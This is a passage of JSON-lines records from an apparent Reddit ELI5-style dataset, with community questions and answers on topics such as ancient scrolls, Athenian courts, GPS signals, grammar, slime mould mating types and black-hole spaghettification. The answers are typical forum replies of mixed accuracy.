have other strong preferences, like gentle curves in their enclosure rather than square corners.", "Cows actually seem to commonly be interested in music. We do not really know why. There are documented cases of people using horns such as trumpets, trombones, alpshorns and the like to call cattle in from the fields for evening feeding/returning to sleep in the barns. ", "Cows are interested in anything new, I remember a story by a mate who was playing with a gun as a kid when he wasn't allowed to, the farmer came along and he hid it in the hedge and kept walking, but he got busted because the cows went to investigate and sniff the strange new object and the farmer noticed.\nCows will watch anything and anyone new to see if it is going to be a threat or if it is going to do anything interesting, the fact that the lady was making odd noises would have been a bonus."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "e1tvbd", "title": "How likely is it that there are still undiscovered scrolls from the BC era buried in the middle east?", "selftext": "The Dead Sea Scrolls seem to be a once-in-a-century find, but I keep thinking about the vastness of the deserts and how many settlements, structures, and tombs might have vanished beneath shifting sands.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/e1tvbd/how_likely_is_it_that_there_are_still/", "answers": {"a_id": ["f8rrqei", "f8sr7av", "f8tx3vr"], "score": [38, 3, 3], "text": ["This is a question for archaeologists, not historians, except insofar as the historical record tells us that there were once \\_lots\\_ of written materials.\n\nIn fact, preserved papyri are found quite often -- your impression of \"once in a century\" is off by a lot. What made the Dead Sea Scrolls so unusual was their content; much of what gets found is quite ordinary, material known from other texts.\n\nAnd even then, there are still extraordinary discoveries. In the past decade, Pierre Tallet and his team have been retrieving some of the oldest papyri yet found, including the celebrated \"Diary of Merer\" from roughly 4,500 years ago (eg 2500 years \\_older\\_ than the Dead Sea Scrolls); found at Wadi al-Jarf in Egypt.\n\nThere's every reason to believe that there are more papyri waiting to be found. And of course, in ancient Mesopotamia, clay tablets were often used-- these are extraordinarily durable -- we've already found on the order of a million of these. It's pretty much a certainty that there are many more to be found. Even without finding another tablet-- only perhaps 100,000 of the million odd tablets have been read in the modern era; there are potential blockbuster discoveries waiting to be found by assyriologists \"digging\" in the bowels of the British or Iraq National museums.\n\nSee:  \nPierre Tallet, and Gregory Marouard. \u201cTHE HARBOR OF KHUFU on the Red Sea Coast at Wadi Al-Jarf, Egypt.\u201d *Near Eastern Archaeology*, vol. 77, no. 1, 2014, pp. 4\u201314. \n\n\\[open source-- describes the discovery and has photographs of the remarkably well preserved papyri-- demonstrating that in a hot dry climate and shade, papyri can last a very, very long tim\\]", "_URL_1_\n\nYou might interested in this article. They aren't \"scrolls\", but new 2000-ish year old Safaitic inscriptions are turning up pretty much every time Ahmad al-Jallad has the chance to go on a new expedition. You can also follow him on twitter here: _URL_0_", "To add to the posts above, there are quite a few ancient archives mentioned in published texts but have not yet been found. This is primarily because many important cities have not yet been located, such as Agade (capital of the Akkadian empire), Ekallatum (one of the capitals of the kingdom of Upper Mesopotamia), Wa\u0161\u0161ukanni (capital of the kingdom of Mitanni), Tar\u1e2bunta\u0161\u0161a (briefly capital of the Hittite empire), and Kummani (the capital of the kingdom of Kizzuwatna). \n\nIn other cases, we have identified and partially excavated ancient cities but have not yet found their archives. For example, there are no doubt dozens if not hundreds of cuneiform tablets buried at Qantir (ancient Per-Ramesses) in Egypt, but so far only a [tiny fragment](_URL_1_) of one tablet has been found. \n\nAs u/amp1212 mentioned, there are many texts that have been excavated but not published. I wrote about these in [Are there any ancient texts that have yet to be translated due to a lack of translators?](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://twitter.com/safaitic?lang=en", "https://www.newyorker.com/culture/culture-desk/a-new-history-of-arabia-written-in-stone"], ["https://www.reddit.com/r/AskHistorians/comments/7zqsum/are_there_any_ancient_texts_that_have_yet_to_be/duqeknq/", "https://i.pinimg.com/originals/b2/12/8f/b2128f14984e4463065918e240e6f08b.jpg"]]}
{"q_id": "4sevo1", "title": "why didn't the gi bill drive up college tuition following wwii?", "selftext": "Conservatives frequently point to the availability of government backed students loans as one of the causes of skyrocketing tuition rates.  Considering the implementation of the GI Bill after WWII, why didn't we see tuition rates skyrocket as so much additional money became available to pay for college?  ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4sevo1/eli5_why_didnt_the_gi_bill_drive_up_college/", "answers": {"a_id": ["d58s4um"], "score": [6], "text": ["It's possible that they did. A brief glance at the [year by year costs of attending Penn](_URL_0_) show a jump from $400- > $475- > $550- > $600 from 1946 to 1949. A 50% jump in costs in 4 years. The University of Wisconsin [nearly doubled](_URL_1_) from $65- > $120 from 1940 to 1950. It's not clear how much of that is due to the GI Bill or other factors, but it did seem to level out some as the initial glut of WW2 vets passed through."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.archives.upenn.edu/histy/features/tuition/1940.html", "http://onwisconsin.uwalumni.com/features/the-price-is-right/"]]}
{"q_id": "2gumbi", "title": "Why did Enclosure happen in England? Who benefited from Enclosure?", "selftext": "I've been vaguely aware of the idea of enclosure, primarily in reference to the creation of modern property systems and loss of land rights among the peasantry, leading to the large labour pool that contributed to the Industrial Revolution. But I don't know much about why it happened at all. Who were the driving force behind it? Cui bono? And why did it happen when it did?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2gumbi/why_did_enclosure_happen_in_england_who_benefited/", "answers": {"a_id": ["ckmqlhl"], "score": [11], "text": ["Not a good specific source, but Court's Concise Economic History of Britain might help. I am sure a specialist has a better source on this particular topic, though.\n\nEnclosure benefits those who can take advantage of it -- instead of an open field system which allowed a lot of peasants to make small economic advantage off of the fields, enclosures restricted use to a few aristocrats who got a great deal more money off of pasturage, generally by raising sheep for wool. A given lot of X number of acres could make more money as pasturage than arable land. On the other hand (and indeed, as a great part of the cost savings) pasturage took a great deal less labour, and thus peasants who had once worked the land were displaced since only a few of them were needed to care for animals. Thus, it was the aristocracy that could afford to enclose and raise animals that benefited.\n\nThe process took place over a long time, going back to an early boost in the Tudor area. I have seen a natural drop in population during the period cited as the impetus for the process, although the economic gains led to its continuing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7lkcqe", "title": "how do toy/food businesses determine the age restrictions for children on their products?", "selftext": "Example: A pack of peanuts I have says to not give to children under 4. How do they determine this? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7lkcqe/eli5_how_do_toyfood_businesses_determine_the_age/", "answers": {"a_id": ["drmvz7r"], "score": [5], "text": ["Within the US, there's what's called the U.S. Consumer Product Safety Commission that administers the Federal Hazardous Substances Act. The CPSC publishes toy safety guidelines and definitions. You can see an example of the guidelines from 2002, I don't know if there's a newer version or not: _URL_0_\n\nThere's also the Child Safety Protection Act which requires the choking-hazard warning label and bans certain toys for children 3 years and younger if they pose a choking or ingestion hazard.\n\nAnd the Consumer Product Safety Improvement Act which amends the FHSA to require choking-hazard warnings on websites, advertisements, etc.\n\nAs far as food specifically, there does not (as of 2014) appear to be any federally mandated requirement for choking hazard labels on food - that seems to be a thing some companies are doing voluntarily."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.cpsc.gov/s3fs-public/pdfs/blk_media_adg.pdf"]]}
{"q_id": "3xx4dc", "title": "why is \"i wish i were rich\" more grammatically correct over \"i wish i was rich\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3xx4dc/eli5_why_is_i_wish_i_were_rich_more_grammatically/", "answers": {"a_id": ["cy8kuqc", "cy8kx6q", "cy8ls3c", "cy8un70"], "score": [4, 3, 31, 4], "text": ["The verb \"were\" here is in a grammatical mood [known as irrealis](_URL_0_). I'm not sure it's right to say irrealis is more correct, either, since it's sort of a leftover runt inflection that only the verb *to be* still gets in English. But when it's used, it's used when the clause is expressing something hypothetical or unreal, like in a wish or in one half of \"if *something* then *something*\".", "I believe it's because 'was' is past tense. \"I wish I was rich\" technically means, \"I wish I had been rich in the past\".", "That use of \"were\" in that case is something called the [subjunctive mood](_URL_0_).  In English, we generally use the past participle (though there's also a present-tense version) to indicate things that are \"counterfactual\" (wishes, possibilities, hypotheticals, etc).\n\nSo \"I wish I were rich\" or \"if I were rich, I'd do X\" are correct, because they're counterfactual statements using the subjunctive mood.", "\"Wish\", \"If\" and \"Whether\" trigger the three most common uses of subjunctive mood in English:\n\nI wish I were\n\nIf it were\n\nWhether it be\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://itre.cis.upenn.edu/~myl/languagelog/archives/001192.html"], [], ["https://en.wikipedia.org/wiki/Subjunctive_mood"], []]}
{"q_id": "9ytj44", "title": "how does gps work in poor weather conditions when satellite radio and tv don't", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ytj44/eli5_how_does_gps_work_in_poor_weather_conditions/", "answers": {"a_id": ["ea3xvcp", "ea3y1ff", "ea3z7rf", "ea401n2", "ea57kgv"], "score": [9, 6, 2, 3, 2], "text": ["In order for GPS to work optimally, your receiver needs to have 4 satellites connected (some models will indicate the number on the display). \n\nWhile less than optimum, you can get location with fewer than 4 satellites, but the accuracy will be diminished\n\nHaving to connect to multiple satellites for GPS provides a redundancy that can overcome some situations like weather; if you lose connection with one of the satellites, the other 3 can still provide information.\n\nWhen you connect to satellite radio, you're only connecting to one satellite, which provides no redundancy for the signal.\n", "This depends whether you are talking about GPS or A-GPS. A-GPS is Assisted (Or Augmented) GPS and uses data from cellphone towers and Wi-fi to give you quicker access to GPS and is used particularly in cellphones to provide you with what is really a hybrid positioning system. True GPS on it's own requires you to not only lock onto a satellite but to also download packets of information required to use the positioning system and typically takes at least a minute to do so. GPS on it's own requires clear line of sight and a constant lock on and therefore will typically not work inside buildings or even when driving between tall buildings. However the GPS signal itself is so basic that atmospheric conditions seldom manage to disrupt the tracking.", "A satellite radio or TV signal needs to carry lots of information. So if the reception drops out for a few milliseconds every second you will not get enough data for the sound and video. However GPS on the other hand does not need to transfer much data at all. A GPS \"beacon pulse\" is transmitted from each satellite every millisecond. The receiver only needs to receive one of these pulses from four satellites to get a fix although the more it have the better the fix. So even though you only have a faint signal that frequently drops out the receiver is able to get enough information to get a rough estimate of where it is.", "GPS signals are sent on different frequencies/wavelengths and are able to go through clouds without losing their signal/data as much as satellite radio. They also just continually broadcast a simple signal that contains their location and the current time. If your GPS receiver doesn't pick up a signal due to interference, there will be another signal very soon.\n\nSatellite radio is broadcasting a stream with lots of data. If you miss some of it, you can't listen to the parts you missed.", "GPS signals are transmitted in L-Band (1Ghz to 2Ghz). L-Band is very good at penetrating through clouds/adverse weather. Satellite TV is in the Ku band (12Ghz to 18Ghz), which is a lot worse at penetrating through weather. \n\nAlso, without going into to much detail, GPS uses a very robust method for locking onto the signal. It uses a puesdo random noise (PRN) code that is very good for being able to find low power signals inside of noise. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "43u6t7", "title": "the difference between deductive reasoning and making inferences?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/43u6t7/eli5_the_difference_between_deductive_reasoning/", "answers": {"a_id": ["czkxy7z", "czkz8id", "czl27nx", "czl648g", "czleukl"], "score": [14, 12, 2, 7, 6], "text": ["Nothing. Deductive logic involves starting with a set of premises/axioms/assumptions and then, using logical *rules of inference* deriving a conclusion from those starting points such that, if those premises are true, the conclusion is necessarily true.", "Inference is less rigidly defined but can be used to mean the same thing as deductive reasoning. It can also cover inductive reasoning and reasoning outside the field of logic altogether - making a series of assumptions.  \n\nDeductive reasoning - taking a premise that is correct and making logical steps towards a conclusion that pretty much has to be true (depending how accurate your premise and other steps are).  \n\nInductive reasoning - taking a start point that is *assumed* to be true and making steps that lead to a conclusion that is *probably* true.  \n\nInferences - either of the above plus making large assumptions about what the starting fact is or means then making equally variable steps to reach a conclusion that may be logical but not necessarily true or probable.", "This is the best *simple* definition I've seen:\n\n > To infer: you use your own assumptions and ideas about a certain contest to make a conclusion. You infer through the observations you make. This is more or a unique question as it varies from person to person. Ex. : You see something red marked on a paper coming back to you. You infer that is is a grade from the teacher or some sort of mark because your past experiences have said that teacher use red, the color is different from your pencil so it might be the grade, you've gotten grades in red before, etc.\n\n > To deduce: To use logical assumption to arrive at a conclusion. This different, because inferences are not always logical because people are not always logical, and neither are their experiences! :D This is often attributed to math problems or things that have set formulas to their systems because time after time, they have proved to show a pattern. Ex. The light is plugged into the outlet but the light is not shining. You deduce that the bulb has burnt out because logically, if everything else is set and it is as it always is (basically, there are no other variables in the situation), then it must be the bulb because it controls the light. Deductions are much more restricted and concrete. ", "In my mind, deductive doesnt miss a beat whereas an inference you are filling in something.\n\nDeductive: A+B+C = ABC\n\nInference: A+\" \"+ C = ABC.\n\nNow I can infer that \"B\" is missing, but it could also be G+H=B.\n\nI dunno if im making any sense.", "Most of these comments so far are either about 80% right or even less so. In deductive reasoning, you start with a set of assumptions and use those to derive a conclusion. This conclusion is reached through rigid logical rules, and must *always* be true if our assumptions are correct. For example:\n\nAll apples are fruits.\n\nObject A is an apple.\n\nTherefore, object A is a fruit.\n\nIf both of our assumptions are correct, the conclusion is necessarily, definitively, always true.\n\nIn inductive reasoning we use past experiences to make inferences about the future. This type of reasoning is not as rock solid as deductive reasoning, although is typically more applicable to real life because it's very rare that we can claim the absolute truth of our assumptions which we need for deductive reasoning. An example of inductive reasoning would be something like this:\n\nThe last 100 times I dropped this rock, it fell and hit the ground. Therefore I conclude that the next time I drop this rock, it will fall and hit the ground.\n\nNow this example is perhaps not illustrative of the potential flaws of inductive reasoning, so I'll give another:\n\nThe last 100 times I flipped this coin, it came up heads. I therefore conclude that the next time will also be heads.\n\nIf the coin is fair, we have drawn a bad conclusion. However, it's unlikely at this point that the coin is fair given the previous 100 trials."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "89ssls", "title": "a simple way to tell classical composers apart", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/89ssls/eli5_a_simple_way_to_tell_classical_composers/", "answers": {"a_id": ["dwt9ghi"], "score": [2], "text": ["It's all about knowing your music history. Knowing when certain musical phrases and trends were popular. It's like telling the difference between 80's and 90's pop. 80's you know you'll hear more of a digital synth sound due to the rising popularity of computers in music composition. With classical composers, for example, you can listen to the voice leading. Bach was famous for things like fugues and modulations of phrases. I know when listening to something that if I hear one voice begin, and then another voice repeating the same phrase overtop of the first, it's a good indicator of the time period in which the piece was composed. If you hear something very unsettling and dissonant, it's most likely neo-classical. Then you narrow it down by knowing how the major composers wrote. If I'm listening to an opera and I hear a solo artist joined by another singer to form a duet, then another for a trio, and so on, I know without a doubt I'm listening to Mozart. That was one of his signature moves. As a music major, we had music history classes with exams in which we would literally have 20 songs of similar genre and have to match them to composers from that era to get an ear for style and preference of the major composers. Overall, \"classical\" music is just way too broad of a genre. There are at least twenty different subgenres when speaking of classical music, and we're generally speaking of early polyphony in 4,000-3,000 BC to neo-classicism in the mid 21th century."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "djdt3t", "title": "how can 'the blob' have 720 sexes?", "selftext": "I just read [this article](_URL_0_) about an intelligent slime mould called 'The Blob' and it said it has 720 sexes. How is that possible?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/djdt3t/eli5_how_can_the_blob_have_720_sexes/", "answers": {"a_id": ["f6qsafw", "f44hcpl", "f44j1sp", "f45oaqk"], "score": [2, 42, 4, 2], "text": ["The disappointing side of the blob discussed in the media stems from the fact most readers and writers have no ability to comprehend this discussion and instead sensationalize the statistically calculated combination count of 720 to be justification for the promotion of more human sexes/genders", "Slime molds are unicellular organisms, so mating doesn't occur with reproductive organs, but with the DNA itself. This occurs through the interaction of specific locations on their genomes. This slime mold has 3 such locations, called matA, matB, and matC. These genes can have different versions, called \"alleles\". Think about how the human gene for eye color has different alleles for blue eyes, green eyes, etc. Two of these slime mold cells can only mate if they have the same alleles for these three locations. matA has 16 possible alleles, matB has 15, and matC has 3, so there are 720 possible combinations.", "The slimes live part of their lives as single-celled organisms. They don't mate by depositing sperm into eggs. Two of them mate by just combining with each other into one cell, which then grows to be huge and eventually redivides itself. If two are too similar genetically, they reject each other somehow and can't combine to mate. I'm not sure if for a given sex, it can mate with all 719 of the other ones, but each one can probably mate with *most* of the other types.", "I am no exprt, I see some media say \"720 sex organs\", and some use \"720 sexes or sex types\", the later is much clear to me, or they do  really mean the same thing?"]}, "title_urls": [], "selftext_urls": ["https://www.theguardian.com/world/2019/oct/17/the-blob-zoo-unveils-baffling-new-organism-with-720-sexes"], "answers_urls": [[], [], [], []]}
{"q_id": "18aqks", "title": "Crime and law in the Greek poleis", "selftext": "I'm curious about Greek history, and currently watching a series of lectures by Donald Kagan on the subject.\n\nI wonder though how the polis dealt with crime, which likely did exist. Was there a system of justice, with courts and judges all that? What were punishments like? \n\nI realize that this is a pretty broad question so I'm looking for both general as well as specific cases. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/18aqks/crime_and_law_in_the_greek_poleis/", "answers": {"a_id": ["c8d6on9"], "score": [10], "text": ["You're looking for a general answer where unfortunately we possess none.\nWe only have the law codes for a tiny fraction of the full number of poleis in existence. Those we do have indicate that arrangements regarding crime and punishment could vary wildly. But to give you an indication, we have less than 10 complete or partial lawcodes, and there are over 1000 known Greek poleis.\n\nSo, whilst I'd like to be able to talk generally about Ancient Greek law I can't. I don't have the evidence to. Athens' laws are the only body of law that we are really certain of, and even then there are blankspots particularly in the Archaic period. Sparta maybe comes close, and we have Gortyn's famous law code as well. Athens continues to be the one most frequently cited due to the depth of our knowledge. Unfortunately, this often leads people to conflate Athenian law with Greek law, and Athenian ideology with Greek ideology.\n\nI will talk about Athens a little because that one will probably give you the most depth.\n\nAthens possessed no police force. For extreme circumstances, there were mercenary Scythians who were used as bodyguards and heavies, but they were only rarely used. There is no concept of the state as separate from its citizens in Athens, because the citizens were the state. Over their lifetime, every Athenian citizen would be directly involved in the government in some way. Law and crime are a prime area of that civic responsibility, which will lead me into talking about the actual system itself.\n\nAll actions had to be brought by a private citizen. There was no equivalent of the Crown Prosecution Service as in the UK. However, there were multiple courts and avenues for bringing a case against an individual. A basic distinction was made between types of action; a *dike* was resolving a private matter and a *graphe* was relating to public law. There were a few more distinctions than this, but these are the two that most often come up with. One restriction was that a *graphe* had to be brought with the intention of punishing the accused individual.\n\nThere were also no lawyers. In theory, both defendant and accusor had to speak for themselves. Neither were allowed notes or anything else to read of, so a speech had to be learned off by heart. And there usually were speeches. The reason why I say in theory was because there was a cheat- *synegeroi* were 'supporting speakers', brought in to talk about specialist topics. For example, you might bring in a *synegeros* to talk about sacred matters. My Greek Law tutor, Lene Rubinstein, is convinced the practice is more prevalent than it is often stated- of the cases we know, a third either mention a *synegeros* or we actually have a recorded speech from one. So one could line up several professional orators, and only have to make an introductory speech and probably something to round off the speech.\n\nSo who were they speaking to? Juries. There were no judges in our sense of the word, and usually no arbiter either. Very occasionally one of the city's Archons would be sitting in on the trial, usually the Basileos Archon or 'King' Archon, but they did not pass judgement. Instead, the juries were the sole meaningful audience, and we are not talking pools of 12. There were always an odd number, to prevent a hung jury. The minumum number was 201 jurors for a regular *dike*, and 501 jurors for a *graphe*. Votes were anonymous, and passed by placing one of two different kind of stones in a pot; one had a hole, the other not. The stones would be counted and the verdict pronounced.\n\nSo where did these juries come from? A pool of at least 6000 jurors were selected by lot from the citizen body every single year. Given that the citizen body was only ever about 40,000 max (in terms of male Athenian citizens) that means an enormous proportion of Athenians were directly part of the justice system every year. No juror would know what case they were judging until the day; many measures were taken to make sure that jurors could not be bribed, and not knowing in advance the case they were judging was one of them. Eventually, the Athenians actually created something of a mechanism to randomly assign cases each day to make it even more last minute. The jurors were under oath, unlike people who met at the city's Assembly (which could be any male citizen who felt like turning up). However, the jurors could not be censured for any decision they made, unlike people at the Assembly. \n\nThe actual procedure of a case depended on the precise nature of it. Some cases did not get beyond a certain point because the action was privately settled- Athenians above a certain age were required to serve as Arbitrators for a year, and they acted to encourage private settlements rather than have full criminal trials. If a *graphe* did come to trial, then this is roughly what would happen; first the prosecutor, then the defendant, spoke. Each had three hours to do so, timed with a water clock. This included time for their own speech, any *synegeroi* they wanted to bring in, cross-examining their counterpart, and bringing in any witnesses. After these six hours, the jury deliberated, and then voted. Having decided which one of the two legal agents was correct, one of two things could have happened; either the defendant was judged not-guilty and proceedings ended right there, or the defendant was judged guilty and then a new part of the trial began. Now there were speeches from each agent regarding what they felt an appropriate punishment would be, and after each had spoken the Jury would deliberate on which to follow.\n\nWhat punishments were available? Fines were common, and for capital/public crimes they could run into the thousands of drachmae. If a fine could not be paid, then usually the person was pronounced *atimia*, which was not 'harmful' but was extremely serious. It meant the loss of all citizen rights, or rather the ability to actively exercise political citizen rights. They were no longer allowed to set foot in the Agora, and especially not to speak at the Assembly or serve on a jury. This could also be a punishment directly sentenced as well. The death penalty was used, but generally speaking you had to really piss of the jury or do something really bad for it to get that far- most cases were preferred to be settled with fines unless there was no choice.\n\nNow to confirm something you will have been suspecting. Athenian crimes were mostly NOT prescriptive- they had no set punishment that had to be applied. Now, some did have a set range of punishments available. And a very select few *did* possess a set punishment. But Athenian laws were also often NOT prescriptive- the crime of *asebeia* was 'impiety'. What was impiety, precisely? That wasn't defined legally anywhere. Instead, it was up to the individual jury on the individual day to decide whether the defendant had been impious. And the Athenian system did not operate on the principle of legal precedent- the deliberations of Juries were deliberately not preserved. This also meant that many crimes were essentially 'excuse' crimes- the principle of having laws available in order to bring someone to trial, and then to accuse them of other things. This was obviously not true for everything, for example homicide, but this applied to most of the ambigious crimes on the books.\n\nIn addition, there was no obligation to stick to the crime that someone was technically being accused of. You were free to accuse the person you had brought up on not paying a fine of murdering their elderly parent (which did in fact happen in one particular trial). And you were allowed to wander off topic, and also to character assassinate. Character assassination was extremely common. Most often, verdicts came down to whomever had the strongest case. But that was as much due to the convinction and integrity of the argument simply rhetorically, rather than its actual forensic qualities in our modern sense. Evidence, whilst important, was not the major deciding factor in many trials.\n\nEDIT: Corrected 1500-3000 jurors to 6000 due to faulty memory and factchecking myself."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "31rkxf", "title": "Looking for scholarly/historical writing about love letters", "selftext": "Greetings all,\n\nI'm an undergrad student, and for the final project of my American History class I am collecting love letters from the American antebellum period. \n\nI have not had more trouble than I expected finding actual letters; however, finding scholarly writing about the history of love letters has proven somewhat difficult. I am wondering if anyone might be able to point me in the right direction, or may even know of a specific source/book/article they'd recommend? Many thanks.\n\nAlso, I recognize that love letters may be too narrow of a topic to find an entire book on. Thus, broader topics like courtship and letter-writing should probably suffice. Again, I appreciate any advice and direction you have to offer.\n\nEdit: in the case that some future student stumbles across this post during their own search for writings on love letters, I'd like to share my findings: \n\nEustace, Nicole. \u201c\u2019The Cornerstone Of a Copious Work\u2019: Love and Power in Eighteenth-Century Courtship.\u201d Journal of Social History 34.3 (2001): 517. America: History  &  Life. Web. 9 Apr. 2015.\n\nLystra, Karen. Searching The Heart: Women, Men, and Romantic Love in Nineteenth-Century America. New York: Oxford University Press, 1989. Print.\n\nRothman, Ellen K. Hands And Hearts: A History of Courtship in America. New York: Basic Books, Inc., 1984. Print.\n\nWaterman, Bryan. \u201cCoquetry And Correspondence in Revolutionary-Era Connecticut: Reading Elizabeth Whitman\u2019s Letters.\u201d Early American Literature 46.3 (2011): 541-563. America: History  &  Life. Web. 9 Apr. 2015.\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/31rkxf/looking_for_scholarlyhistorical_writing_about/", "answers": {"a_id": ["cq4an4k"], "score": [3], "text": ["There are a couple of book chapters that may be salient to your interests: \n\n* In David M Henkin, *The Postal Age: The Emergence of Modern Communications in Nineteenth-Century America* (Chicago: University Of Chicago Press, 2006). Part II: Postal Intimacy including Chapters 4, \"Embracing Opportunity: The Construction of the Personal Letter\"; 5, \"Precious as Gold: Mobility and Family in the Gold Rush and Civil War\"; and 6 \"Mass Mailings: Valentines, Junk Mail, and Dead Letters\"\n* Drew Gilpin Faust, *Mothers of Invention: Women of the Slaveholding South in the American Civil War,* The Fred W. Morrison Series in Southern Studies (Chapel Hill: University of North Carolina Press, 1996). Chapter 5 \"We Little Knew: Husbands and Wives\" and 6 \"To Be an Old Maid: Single Women, Courtship, and Desire\"\n* Mary Kelley, *Learning to Stand  &  Speak: Women, Education, and Public Life in America\u2019s Republic* (Chapel Hill: University of North Carolina Press, 2006). -- this may be helpful just in gaining context for what percentage of women were literate, and what percentage highly literate, throughout the antebellum period."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "kewjc", "title": "What would happen if someone with primordial dwarfism also had a pituitary tumor causing excess growth hormone?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/kewjc/what_would_happen_if_someone_with_primordial/", "answers": {"a_id": ["c2jpp8g", "c2jpyrx", "c2jq147", "c2jpp8g", "c2jpyrx", "c2jq147"], "score": [5, 29, 3, 5, 29, 3], "text": ["The technical terms are achondroplasia and acromegaly, but I haven't been able to find any case studies of people with both.", "I recently read an article about a guy who was a dwarf until his 21st birthday, and then his pituitary gland went into action until he became a giant. Here is the [wiki-link](_URL_0_)", "Update: I've managed to find a medical study that mentions such a person: _URL_0_\n\nAt least that's where the phrase \"an acromegalic dwarf of 41 inches\" seems to come from, but I can't find it in the article.\n\n[And another](_URL_1_)", "The technical terms are achondroplasia and acromegaly, but I haven't been able to find any case studies of people with both.", "I recently read an article about a guy who was a dwarf until his 21st birthday, and then his pituitary gland went into action until he became a giant. Here is the [wiki-link](_URL_0_)", "Update: I've managed to find a medical study that mentions such a person: _URL_0_\n\nAt least that's where the phrase \"an acromegalic dwarf of 41 inches\" seems to come from, but I can't find it in the article.\n\n[And another](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Adam_Rainer"], ["http://www.sciencedirect.com/science/article/pii/S0022347638801785", "http://webcache.googleusercontent.com/search?q=cache:orLRqDopT-0J:ufdc.ufl.edu/UF00027829/00143+%22acromegalic+dwarf%22&amp;cd=3&amp;hl=en&amp;ct=clnk&amp;gl=ca"], [], ["http://en.wikipedia.org/wiki/Adam_Rainer"], ["http://www.sciencedirect.com/science/article/pii/S0022347638801785", "http://webcache.googleusercontent.com/search?q=cache:orLRqDopT-0J:ufdc.ufl.edu/UF00027829/00143+%22acromegalic+dwarf%22&amp;cd=3&amp;hl=en&amp;ct=clnk&amp;gl=ca"]]}
{"q_id": "a78x54", "title": "why do suicide rates increase during the holiday season?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a78x54/eli5_why_do_suicide_rates_increase_during_the/", "answers": {"a_id": ["ec16egt", "ec16f6c", "ec174bt", "ec17bxn", "ec1lbri", "ec1lbt1", "ec1qc7c"], "score": [67, 15, 2, 5, 2, 6, 6], "text": ["Christmas is usually a time when families and loved ones get together to celebrate. During the holiday season, people who are lonely feel more alone than ever because everyone else is celebrating with their loved ones while they are on their own.\n\nAdd to that that, in the Northern Hemisphere, winter is cold, dark and hostile and many countries rarely see the sun, making seasonal depression a lot more common and intense than usual. ", "The added stress from the holiday obligations and the \"seasonal depression\" can push people that are already leaning towards suicide over the edge. Its a straw that broke the camels back.", "It is cold and dark more often, and if you don\u2019t have people to be around it can make you feel isolated. And it makes lonely people feel more alone because they aren\u2019t spending their time with family or friends while everybody around them or on tv is talking about celebrating and being happy and family and stuff. ", "I was hoping someone could point me towards a study or some actual data", "Actually, the opposite is true. Suicide rates actually *decrease* in winter, and increase in the spring and summer.", "They don't - this is a myth. It is actually LOWEST during the holidays. Its entirely possible this is due to the family connections that occur around holidays.\n\n & #x200B;\n\n[_URL_0_](_URL_1_)\n\n & #x200B;\n\n & #x200B;", "According to the CDC, it's a myth.  Suicide rates are actually lower in December.\n\n & #x200B;\n\n[_URL_0_](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://en.wikipedia.org/wiki/Suicide\\_in\\_the\\_United\\_States", "https://en.wikipedia.org/wiki/Suicide_in_the_United_States"], ["https://www.cdc.gov/violenceprevention/suicide/holiday.html"]]}
{"q_id": "26mojt", "title": "what is spaghettification?", "selftext": "It has come up in a book I have been reading and the Wikipedia article has been less than helpful in explaining.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/26mojt/eli5what_is_spaghettification/", "answers": {"a_id": ["chsg96f", "chsgbh1", "chsj4f5"], "score": [21, 8, 6], "text": ["So you're falling into a black hole feet first. At some point, the gravity pulling the lower half of your body is so much greater than the gravity pulling on the upper half, that you are torn apart. Then the same thing happens to each of the halves of your body. The parts keep getting torn into smaller parts until the molecules themselves are torn apart, and you're nothing but a stream of atoms falling into the black hole.", "Spaghettification is a term used to illustrate how gravitational forces and tidal forces in a black hole would pull you apart. Basically, as you get close to a black hole there is such a difference in tidal forces between your head and feet, or any other different parts of your body, that it would stretch you out into very thin noodlelike shapes.\n\nFor instance, if your feet are closer to the black hole than your head, your feet will experience a stronger pull than your head, and it will stretch you lengthwise, which only serves to get your feet that much closer to the black hole, which means it pulls even harder, and continues to pull you apart like taffy.", "Let the wonderful Neil deGrasse Tyson do the explaining!\n\n[Death by Black Hole](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=h1iJXOUMJpg"]]}
